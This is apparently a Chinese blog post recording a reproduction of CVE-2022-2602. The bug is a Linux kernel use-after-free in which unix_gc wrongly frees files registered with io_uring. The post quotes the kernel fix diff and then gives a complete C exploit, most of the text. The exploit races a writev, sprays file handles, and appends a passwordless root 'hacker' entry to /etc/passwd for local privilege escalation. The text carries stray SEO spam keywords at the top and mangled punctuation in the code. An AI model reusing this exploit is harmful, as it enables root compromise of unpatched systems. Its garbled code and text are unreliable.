广州哪家公司做网站好,国际新闻最新消息战争,优秀网站评析,东莞证券官网前言
复现该漏洞只是为了学习相关知识#xff0c;在这里仅仅做简单记录下 exp#xff0c;关于漏洞的详细内容请参考其他文章#xff0c;最后在 v5.18.19 内核版本上复现成功#xff0c;v6.0.2 复现失败
漏洞利用
diff --git a/include/linux/skbuff.h b/include/linux/s…前言
复现该漏洞只是为了学习相关知识在这里仅仅做简单记录下 exp关于漏洞的详细内容请参考其他文章最后在 v5.18.19 内核版本上复现成功v6.0.2 复现失败
漏洞利用
diff --git a/include/linux/skbuff.h b/include/linux/skbuff.h
index 9fcf534f2d9272..7be5bb4c94b6d8 100644
--- a/include/linux/skbuff.hb/include/linux/skbuff.h-803,6 803,7 typedef unsigned char *sk_buff_data_t;* csum_level: indicates the number of consecutive checksums found in* the packet minus one that have been verified as* CHECKSUM_UNNECESSARY (max 3)* scm_io_uring: SKB holds io_uring registered files* dst_pending_confirm: need to confirm neighbour* decrypted: Decrypted SKB* slow_gro: state present at GRO time, slower prepare step required-982,6 983,7 struct sk_buff {#endif__u8 slow_gro:1;__u8 csum_not_inet:1;__u8 scm_io_uring:1;#ifdef CONFIG_NET_SCHED__u16 tc_index; /* traffic control index */
diff --git a/io_uring/rsrc.c b/io_uring/rsrc.c
index 6f88ded0e7e564..012fdb04ec238e 100644
--- a/io_uring/rsrc.cb/io_uring/rsrc.c-855,6 855,7 int __io_scm_file_account(struct io_ring_ctx *ctx, struct file *file)UNIXCB(skb).fp fpl;skb-sk sk;skb-scm_io_uring 1;skb-destructor unix_destruct_scm;refcount_add(skb-truesize, sk-sk_wmem_alloc);}
diff --git a/net/unix/garbage.c b/net/unix/garbage.c
index d45d5366115a76..dc276354039321 100644
--- a/net/unix/garbage.cb/net/unix/garbage.c-204,6 204,7 void wait_for_unix_gc(void)/* The external entry point: unix_gc() */void unix_gc(void){struct sk_buff *next_skb, *skb;struct unix_sock *u;struct unix_sock *next;struct sk_buff_head hitlist;-297,11 298,30 void unix_gc(void)spin_unlock(unix_gc_lock); /* We need io_uring to clean its registered files, ignore all io_uring* originated skbs. Its fine as io_uring doesnt keep references to* other io_uring instances and so killing all other files in the cycle* will put all io_uring references forcing it to go through normal* release.path eventually putting registered files.*/skb_queue_walk_safe(hitlist, skb, next_skb) {if (skb-scm_io_uring) {__skb_unlink(skb, hitlist);skb_queue_tail(skb-sk-sk_receive_queue, skb);}}
/* Here we are. Hitlist is filled. Die. */__skb_queue_purge(hitlist);spin_lock(unix_gc_lock); /* There could be io_uring registered files, just push them back to* the inflight list*/list_for_each_entry_safe(u, next, gc_candidates, link)list_move_tail(u-link, gc_inflight_list);
/* All candidates should have been detached by now. */BUG_ON(!list_empty(gc_candidates));unix_gc 错误释放 io_uring 注册的文件导致的 file UAF
exp 如下
#define _GNU_SOURCE
#include stdio.h
#include pthread.h
#include errno.h
#include unistd.h
#include stdlib.h
#include fcntl.h
#include signal.h
#include string.h
#include stdint.h
#include sys/mman.h
#include sys/syscall.h
#include sys/ioctl.h
#include sys/sem.h
#include sys/socket.h
#include sys/types.h
#include sys/ipc.h
#include sys/msg.h
#include sys/wait.h
#include semaphore.h
#include poll.h
#include sched.h
#include liburing.h
#include assert.hvoid err_exit(char *msg)
{printf(\033[31m\033[1m[x] Error at: \033[0m%s\n, msg);sleep(5);exit(EXIT_FAILURE);
}void info(char *msg)
{printf(\033[32m\033[1m[] %s\n\033[0m, msg);
}void bind_core(int core)
{cpu_set_t cpu_set;CPU_ZERO(cpu_set);CPU_SET(core, cpu_set);sched_setaffinity(getpid(), sizeof(cpu_set), cpu_set);printf(\033[34m\033[1m[*] Process binded to core \033[0m%d\n, core);
}void prepare() {system(touch /tmp/dummy);system(chmod 777 /tmp/dummy);
}static int run_wait_lock 0;
void* slow_write() {#define PAGE_SIZE 0x1000#define WRITE_PAGE_NUMS 0x3333puts([] Start in slow_write);int fd open(/tmp/dummy, O_RDWR);if (fd 0) err_exit(FAILED to open /tmp/dummy);uint64_t start_addr 0x30000000;uint64_t write_len (WRITE_PAGE_NUMS - 1) * PAGE_SIZE;uint64_t i;for (i 0; i WRITE_PAGE_NUMS; i) {void *addr mmap((void*)(start_addri*PAGE_SIZE), PAGE_SIZE,PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, 0, 0);if (addr MAP_FAILED) err_exit(mmap);}assert(i 0);struct iovec iovs[20];for (i 0; i 20; i) {iovs[i].iov_base (void*)start_addr;iovs[i].iov_len (WRITE_PAGE_NUMS - 1) * PAGE_SIZE;}puts([] Occupying inode lock);run_wait_lock 1;if (writev(fd, iovs, 20) 0) {err_exit(write);}close(fd);puts([] End in slow_write);puts([] Waiting for 10 senonds);sleep(10);exit(0);
}void sendfd(int sfd, int fd) {struct msghdr msg;char control_buf[4096] { 0 };struct cmsghdr* cmsg;int fds[1] { fd };memset(msg, 0, sizeof(msg));msg.msg_control control_buf;msg.msg_controllen sizeof(control_buf);cmsg CMSG_FIRSTHDR(msg);cmsg-cmsg_level SOL_SOCKET;cmsg-cmsg_type SCM_RIGHTS;cmsg-cmsg_len CMSG_LEN(sizeof(fds));memcpy(CMSG_DATA(cmsg), fds, sizeof(fds));msg.msg_controllen CMSG_SPACE(sizeof(fds));sendmsg(sfd, msg, 0);
}int main() {int s[2];int rfd[2];int io_uring_fd;pthread_t thr1;struct io_uring_sqe* sqe;struct io_uring ring;struct stat st;struct iovec iov[1];int fds[300];int i 0;bind_core(0);prepare();for (i 0; i 300; i) {if ((fds[i] open(/etc/passwd, O_RDONLY)) 0)err_exit(open /etc/passwd);}stat(/etc/passwd, st);int size 0;int orig_size st.st_size;/* hacker::0:0:/root:/root:/bin/sh\n */iov[0].iov_base hacker::0:0:/root:/root:/bin/sh\n;iov[0].iov_len strlen(iov[0].iov_base);// s[0] ref_count 1// s[1] ref_count 1if (socketpair(AF_UNIX, SOCK_DGRAM, 0, s) 0) err_exit(sockerpair);// s[0] ref_count 1// s[1] ref_count 1// io_uring_fd ref_count 1// rfd[1] ref_count 1io_uring_queue_init(32, ring, IORING_SETUP_SQPOLL);sqe io_uring_get_sqe(ring);printf([] sqe: %p\n, sqe);io_uring_fd ring.ring_fd;printf([] io_uring_fd: %d\n, io_uring_fd);if (io_uring_fd 0) err_exit(io_uring_queue_init);rfd[0] s[1];rfd[1] open(/tmp/dummy, O_RDWR|O_APPEND);// s[0] ref_count 1// s[1] ref_count 2 inflight 1// io_uring_fd ref_count 1// rfd[1] ref_count 2// io_uring.sk_recvive_queue - rfd {s[1], rfd[1]}io_uring_register_files(ring, rfd, 2);sqe-opcode IORING_OP_WRITEV;sqe-fd 1;sqe-addr (long long)iov;sqe-len 1;sqe-flags IOSQE_FIXED_FILE;// s[0] ref_count 1// s[1] ref_count 2 inflight 1// io_uring_fd ref_count 1// rfd[1] ref_count 1// io_uring.sk_recvive_queue - rfd {s[1], rfd[1]}close(rfd[1]);// s[0] ref_count 1// s[1] ref_count 2 inflight 1// io_uring_fd ref_count 2 inflight 1// rfd[1] ref_count 1// io_uring.sk_receive_queue - rfd {s[1], rfd[1]}// s[1].sk_receive_queue - io_uring_fdsendfd(s[0], io_uring_fd);// s[0] ref_count 0 free// s[1] ref_count 1 inflight 1// io_uring_fd ref_count 2 inflight 1// rfd[1] ref_count 1// io_uring.sk_receive_queue - rfd {s[1], rfd[1]}// s[1].sk_receive_queue - io_uring_fdclose(s[0]);close(s[1]);// 占据 inode 锁pthread_create(thr1, NULL, slow_write, NULL);// writev 等待 inode 锁while (!run_wait_lock) {}sleep(2);io_uring_submit(ring);// s[0] ref_count 0 free// s[1] ref_count 1 inflight 1// io_uring_fd ref_count 1 inflight 1// rfd[1] ref_count 1// io_uring.sk_receive_queue - rfd {s[1], rfd[1]}// s[1].sk_receive_queue - io_uring_fdio_uring_queue_exit(ring);puts([] Triggering unix_gc);// 触发 unix_gc// s[0] ref_count 0 free// s[1] ref_count 1 inflight 1// io_uring_fd ref_count 1 inflight 1// rfd[1] ref_count 1// io_uring.sk_receive_queue - rfd {s[1], rfd[1]}// s[1].sk_receive_queue - io_uring_fd// 此时 rfd[1] 被错误的释放 rfd[1]sleep(2);for (i 0; i 150; i) {close(fds[i2]);}close(socket(AF_UNIX, SOCK_DGRAM, 0));puts([] unix_gc done);puts([] Spray /etc/passwd file);// 打开大量 /etc/passwd 去占据 uaf_filefor (i 0; i 700; i) {if (open(/etc/passwd, O_RDONLY) 0) {printf([X] Error at %d\n, i);err_exit(FAILED to spray file);}}// 等待 writev 获取 inode 锁从而写 /etc/passwd// 当 /etc/passwd 文件大小发送变化时说明成功向 /etc/passwd 写入恶意数据puts([] Waiting for overwriting /etc/passwd);while (orig_size st.st_size) {stat(/etc/passwd, st);size st.st_size;sleep(1);}puts([] su hacker to get root);return 0;
}效果如下
参考文章
[漏洞分析] CVE-2022-2602 io_uring UAF内核提权详细解析 【kernel exploit】CVE-2022-2602垃圾回收错误释放iouring的file导致UAF